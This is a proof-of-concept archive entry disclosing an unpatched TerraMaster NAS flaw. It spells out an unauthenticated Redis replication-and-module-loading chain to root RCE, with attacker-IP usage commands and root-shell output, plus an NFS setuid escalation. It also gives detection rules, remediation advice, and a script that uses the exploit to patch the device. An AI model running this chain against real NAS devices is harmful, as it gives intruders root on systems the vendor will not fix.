PoC Archive PoC Archive
Critical N/A (vendor confirmed TOS4 is EOL; no fix planned) unpatched

TossUp — TerraMaster TOS Unauthenticated Redis Root RCE + NFS LPE

by Aaron Esau / V12 security team (v12.sh) · 2026-05-18

Severity
Critical
CVE
N/A (vendor confirmed TOS4 is EOL; no fix planned)
Category
network
Affected product
TerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10
Affected versions
TOS3_A1.0 4.2.41 (RTD1296/AArch64); other builds likely affected if same init path
Disclosed
2026-05-18
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-18
Last UpdatedN/A
Author / ResearcherAaron Esau / V12 security team (v12.sh)
CVE / AdvisoryN/A (vendor confirmed TOS4 is EOL; no fix planned)
Categorynetwork
SeverityCritical
CVSS ScoreN/A
StatusWeaponized
TagsRCE, unauthenticated, Redis, TerraMaster, NAS, AArch64, root, module-loading, replication-abuse, NFS, no_root_squash, LPE, network
RelatedN/A

Affected Target

FieldValue
Software / SystemTerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10
Versions AffectedTOS3_A1.0 4.2.41 (RTD1296/AArch64); other builds likely affected if same init path
Language / PlatformPython 3, C (AArch64 cross-compile); target: Linux/AArch64 NAS
Authentication RequiredNo
Network Access RequiredYes (TCP/6379 to NAS; NAS must be able to connect back to attacker)

Summary

TossUp is a pair of bugs against TerraMaster TOS NAS devices. The primary issue is that Redis 4.0.10 runs as root and listens on 0.0.0.0:6379 with no authentication — despite /etc/redis.conf containing bind 127.0.0.1, the init script starts Redis as redis-server *:6379 without referencing the config file. An unauthenticated remote attacker with access to TCP/6379 can use standard Redis replication to deliver a malicious AArch64 Redis module, load it, and execute arbitrary commands as root. A separate NFS no_root_squash misconfiguration enables a local privilege escalation for unprivileged NAS users; it is independent of the RCE (which already runs as root).


Vulnerability Details

Root Cause

RCE: Init script misconfiguration — Redis starts with redis-server *:6379 instead of redis-server /etc/redis.conf, ignoring the intended bind restriction and leaving Redis exposed with no authentication.

LPE: NFS export allows remote root to create root-owned, setuid files on the NAS (no_root_squash). Any local NAS user can then execute the dropped binary to obtain a root shell.

Attack Vector

RCE chain:

  1. Connect to NAS_IP:6379 (no auth).
  2. CONFIG SET dir /tmp + CONFIG SET dbfilename .<random>.so — point Redis dump path at a writable location.
  3. SLAVEOF <attacker_ip> <port> — make the NAS replicate from an attacker-controlled rogue master.
  4. Rogue master sends the compiled AArch64 Redis module as the RDB bulk payload; Redis writes it to /tmp/.<random>.so.
  5. MODULE LOAD /tmp/.<random>.so — registers a system.exec Redis command.
  6. system.exec <cmd> — runs arbitrary shell commands via popen() as root.

LPE chain:

  1. Mount the NFS export from the client as root.
  2. Copy a static AArch64 SUID helper, set owner 0:0, mode 4755.
  3. NAS retains attributes (no squash). Any local NAS user executes the helper for a root shell.

Impact

RCE: Unauthenticated remote root code execution on any exposed TerraMaster TOS NAS device. LPE: Any low-privilege local NAS user can escalate to root via the NFS export.


Environment / Lab Setup

OS:        Linux (attacker, any arch)
Target:    TerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10, RTD1296 (AArch64)
Tools:     python3, aarch64-linux-gnu-gcc (for cross-compile), redis-cli
Ports:     TCP/6379 reachable from attacker; NAS must reach back to attacker

Setup Steps

1
2
3
4
5
cd rce
make

cd lpe
make

Proof of Concept

Step-by-Step Reproduction (RCE)

  1. Build the module

    1
    
    cd rce && make
    
  2. Run a single command as root

    1
    
    python3 rce/poc.py <NAS_IP> --cmd "id"
    
  3. Interactive root shell loop

    1
    
    python3 rce/poc.py <NAS_IP>
    
  4. If the NAS cannot route back automatically, specify attacker IP

    1
    
    python3 rce/poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
    

Step-by-Step Reproduction (LPE)

1
2
3
cd lpe
make
sudo ./drop.sh <NAS_IP>

Exploit Code

See rce/poc.py and rce/module.c for the RCE; lpe/suid.c and lpe/drop.sh for the LPE.

Expected Output

[*] connecting to <NAS_IP>:6379
[*] redis_version: 4.0.10
[*] starting rogue master on <ATTACKER_IP>:<port>
[*] sent SLAVEOF — waiting for replication
[*] delivered module payload (XXXX bytes)
[*] restored Redis state
[*] loading module: /tmp/.<random>.so
[+] system.exec ready
root@<NAS_IP># id
uid=0(root) gid=0(root) groups=0(root)

Screenshots / Evidence


Detection & Indicators of Compromise

redis-cli -h <NAS_IP> INFO server | grep tcp_port

grep -i "slaveof\|module load" /var/log/redis/redis.log

ls -la /tmp/*.so 2>/dev/null

redis-cli MODULE LIST

Network signature:

alert tcp any any -> any 6379 (msg:"Redis SLAVEOF to external host"; content:"SLAVEOF"; nocase; sid:9000010;)
alert tcp any any -> any 6379 (msg:"Redis MODULE LOAD"; content:"MODULE"; nocase; content:"LOAD"; nocase; distance:0; sid:9000011;)

Remediation

ActionDetail
PatchVendor (TerraMaster) confirmed TOS4 EOL — no fix planned
Workaround (RCE)Block TCP/6379 from untrusted networks; fix init script to use /etc/redis.conf; require Redis authentication; disable CONFIG, SLAVEOF, MODULE commands
Workaround (LPE)Add root_squash to NFS exports; avoid writable exports to untrusted clients
Config HardeningRun Redis as an unprivileged service user; rename or disable dangerous Redis commands

References


Notes

Auto-ingested from v12-pocs/terramaster on 2026-05-18.

Two separate bugs bundled as “TossUp”:

  1. Redis unauthenticated root RCE via replication + module loading (network-exploitable, no credentials).
  2. NFS no_root_squash LPE (local, independent of the RCE — RCE already runs as root).

The RCE does not require the LPE; they are independent issues on the same device. Vendor confirmed EOL with no intent to patch. Network isolation (firewall TCP/6379) is the practical first line of defense for affected owners.

A separate authentication bypass (likely upgradable to RCE) was noted by the researchers but not yet released at time of ingest.

Discovered autonomously with V12 by Aaron Esau of the V12 security team.

patch.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/env python3
"""
patch.py — Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities.

Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs
             /etc/init.d/redis.en — an encrypted script that starts
             "redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which
             already has "bind 127.0.0.1").
Fix:         Replace the desh symlink with a proper init script that starts
             redis-server with /etc/redis.conf.  Ensure daemonize yes is set.

Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports.
Fix:         Replace no_root_squash with root_squash and re-export.

Usage:
    python3 patch.py <NAS_IP>
    python3 patch.py <NAS_IP> --lhost <ATTACKER_IP>
    python3 patch.py <NAS_IP> --no-restart
"""

import argparse
import base64
import os
import sys

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce"))

import poc
from poc import (
    Progress, deliver_module, redis_load_module, redis_exec,
    redis_cmd, info, good, warn, bail,
)

REDIS_INIT = """\
#!/bin/sh
# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379
DAEMON=/usr/bin/redis-server
CONF=/etc/redis.conf

case "$1" in
  start)
    "$DAEMON" "$CONF"
    ;;
  stop)
    redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null
    ;;
  restart|reload)
    "$0" stop
    sleep 1
    "$0" start
    ;;
  *)
    echo "Usage: $0 {start|stop|restart}" >&2
    exit 1
    ;;
esac
"""


def rexec(sock, cmd):
    """Execute a shell command on the target via system.exec."""
    return redis_exec(sock, cmd)


def write_remote(sock, path, content, mode=None):
    """Write a text file on the target via base64-encoded echo."""
    b64 = base64.b64encode(content.encode()).decode()
    rexec(sock, f"echo '{b64}' | base64 -d > {path}")
    if mode:
        rexec(sock, f"chmod {mode} {path}")


def patch_redis(sock):
    """Replace the desh-encrypted Redis init script with one that honours
    /etc/redis.conf, and ensure the config has daemonize yes."""

    # --- verify the config already binds to localhost ---
    bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf")
    if "127.0.0.1" not in bind_line:
        bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}")
    good(f"redis.conf bind verified: {bind_line.strip()}")

    # --- ensure daemonize yes (stock config ships 'daemonize no') ---
    daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
    if "yes" not in daemonize:
        info("Setting daemonize yes in /etc/redis.conf")
        rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf")
        verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
        if "yes" not in verify:
            rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf")
        good("daemonize yes set")
    else:
        good(f"redis.conf daemonize verified: {daemonize.strip()}")

    # --- safety: confirm init script is the vulnerable desh symlink ---
    target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK")
    if "/usr/sbin/desh" not in target:
        warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})")
        warn("Skipping init script replacement — may already be patched")
        return

    # --- replace the symlink with a real init script ---
    rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true")
    rexec(sock, "rm -f /etc/init.d/redis")
    write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755")

    head = rexec(sock, "head -2 /etc/init.d/redis")
    if "#!/bin/sh" not in head:
        bail("Failed to write /etc/init.d/redis")
    good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart")


def patch_nfs(sock):
    """Replace no_root_squash with root_squash in /etc/exports and re-export."""
    exports = rexec(sock, "cat /etc/exports 2>/dev/null")
    if not exports.strip():
        warn("/etc/exports is empty or missing — skipping NFS patch")
        return

    if "no_root_squash" not in exports:
        warn("no_root_squash not found in /etc/exports — already fixed or not present")
        return

    info(f"Current /etc/exports:\n{exports.strip()}")
    rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch")
    rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports")

    patched = rexec(sock, "cat /etc/exports")
    if "no_root_squash" in patched:
        bail("sed replacement failed on /etc/exports")
    good(f"Patched /etc/exports:\n{patched.strip()}")

    rexec(sock, "exportfs -ra 2>/dev/null; true")
    good("NFS re-exported with root_squash")


def main():
    parser = argparse.ArgumentParser(
        description="Exploit TerraMaster TOS Redis RCE to patch both bugs",
    )
    parser.add_argument("host", help="NAS IP address")
    parser.add_argument("--lhost", default=None,
                        help="Attacker IP reachable from target (default: auto)")
    parser.add_argument("--no-restart", action="store_true",
                        help="Skip Redis restart after patching")
    args = parser.parse_args()

    poc._progress = Progress(total=8)

    # --- load the .so payload ---
    module_so = os.path.join(SCRIPT_DIR, "rce", "module.so")
    if not os.path.isfile(module_so):
        bail(f"{module_so} not found — run 'make' in rce/")
    payload = open(module_so, "rb").read()
    info(f"Loaded {module_so} ({len(payload)} bytes)")

    # --- phase 1: exploit the RCE ---
    module_path = deliver_module(args.host, payload, lhost=args.lhost)
    sock = redis_load_module(args.host, module_path)

    whoami = rexec(sock, "id")
    if "uid=0" not in whoami:
        bail(f"Not root: {whoami.strip()}")
    good(f"Root: {whoami.strip()}")

    # --- phase 2: patch both bugs ---
    try:
        patch_redis(sock)
        patch_nfs(sock)
    except SystemExit:
        raise
    except Exception as e:
        warn(f"Patch failed: {e}")
        rexec(sock, f"rm -f {module_path}")
        try:
            redis_cmd(sock, "MODULE", "UNLOAD", "system")
        except OSError:
            pass
        sock.close()
        return 1

    # --- phase 3: cleanup exploit artifacts ---
    info("Removing exploit module from disk")
    rexec(sock, f"rm -f {module_path}")

    if not args.no_restart:
        info("Scheduling Redis restart in 2s")
        rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &")
        good("Redis will restart bound to 127.0.0.1 in ~2 seconds")
    else:
        warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix")

    try:
        redis_cmd(sock, "MODULE", "UNLOAD", "system")
    except (BrokenPipeError, OSError):
        pass
    try:
        sock.close()
    except OSError:
        pass

    good("Both vulnerabilities patched")
    return 0


if __name__ == "__main__":
    sys.exit(main())